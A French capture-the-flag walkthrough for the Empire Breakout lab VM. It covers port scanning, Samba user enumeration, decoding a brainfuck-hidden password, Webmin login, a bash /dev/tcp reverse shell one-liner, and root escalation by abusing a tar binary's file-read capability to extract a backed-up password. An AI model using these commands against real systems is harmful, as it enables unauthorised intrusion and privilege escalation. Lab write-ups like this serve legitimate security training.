Avant propos
Le déroulé de ce hack a été réalisé sur une machine prévue à cette effet. Il est interdit de mener ce genre d'action sur une machine qui ne vous appartient pas sans l'accord de son ou sa propriétaire.
Ce CTF a été réalisé avec une machine attaquante Kali 2021.3 (lsb_release -r).
Enumération
On récupère l'adresse IP de la machine distante avec Netdiscover sudo netdiscover.
Avant de poursuivre, on exporte cette adresse dans une variable pour être tranquille par la suite export IP=192.168.1.21.
Puis on créé un dossier dédié à ce CTF cd Documents/ctf && mkdir EmpireBreakout && cd EmpireBreakout.
On lance Nmap pour scanner les ports de la machine distante.
$ nmap -sV -sT -p- $IP -oN nmap.txt
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
10000/tcp open http MiniServ 1.981 (Webmin httpd)
20000/tcp open http MiniServ 1.830 (Webmin httpd)On a un serveur Apache 2.4.51 sur le port 80, un serveur Samba 4.6.2 sur les port 139 et 445 et 2 deux serveurs Webmin (de 2 versions différentes) sur les ports 10000 et 20000.
Sur la page d'accueil du serveur Apache, on a indice en bas du code source de la page HTML.
<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->C'est le fameux langage brainfuck qui retourne une sorte de mot de passe ".2uqPEfj3D<P'a-3".
Ensuite, on énumère le serveur Samba à la recherche d'un utilisateur avec l'outil enum4linux.
enum4linux -a $IP
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\cyber (Local User)On a un utilisateur potentiel, "cyber".
Puis, on poursuit avec les 2 serveurs Webmin qui nous indiquent le host à utiliser.
sudo vim /etc/hosts
192.168.1.21 breakout.homeLa connexion avec cyber:.2uqPEfj3D<P'a-3 ne fonctionne pas sur le premier serveur avec le port 10000 mais sur le second avec le 20000.
Pénétration
Dans le menu de gauche, il y a une petite icone qui symbolise une commande shell. On va ouvrir un reverse shell pour être plus à l'aise. Dans un nouvel onglet de votre terminal, instanciez le serveur Netcat nc -lanp 1234. Puis dans le shell de Webmin, bash -c 'bash -i >& /dev/tcp/192.168.1.33/1234 0>&1'
On trouve le premier flag dans le répertoire de l'utilisateur "cyber".
$ cat user.txt
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}Escalation
Dans le même répertoire, il y a un exécutable "tar", plus précisément un ELF (Executable and Linkable Format).
$ ls -la
-rwxr-xr-x 1 root root 531928 Oct 19 15:40 tar
$ file tar
tar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=727740cc46ed2e44f47dfff7bad5dc3fdb1249cb, for GNU/Linux 3.2.0, strippedOn affiche les capabilities (capacités) de cet exécutable avec la commande getcap.
$ getcap tar
tar cap_dac_read_search=epCette option signifie que le binaire sera capable de lire n'importe quel fichier. Cela tombe à pic car dans le dossier "/var/backups", on a un fichier que l'on voudrait pouvoir lire ".old_pass.bak" car on n'a pas les droits de lecture.
$ ./tar -cf back.tar /var/backups/.old_pass.bak
$ tar -xf back.tar
$ ls
back.tar tar user.txt varLe dossier "var" a été créé et on peut lire son contenu.
$ cat var/backups/.old_pass.bak
Ts&4&YurgtRX(=~hComme convenu, il contient un mot de passe, ce qui nous permet de nous connecter en tant qu'utilisateur "root".
$ su root
Password: Ts&4&YurgtRX(=~h
$ id
uid=0(root) gid=0(root) groups=0(root)Et on trouve rapidement le second et dernier flag.
$ cd ~
$ cat rOOt.txt
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}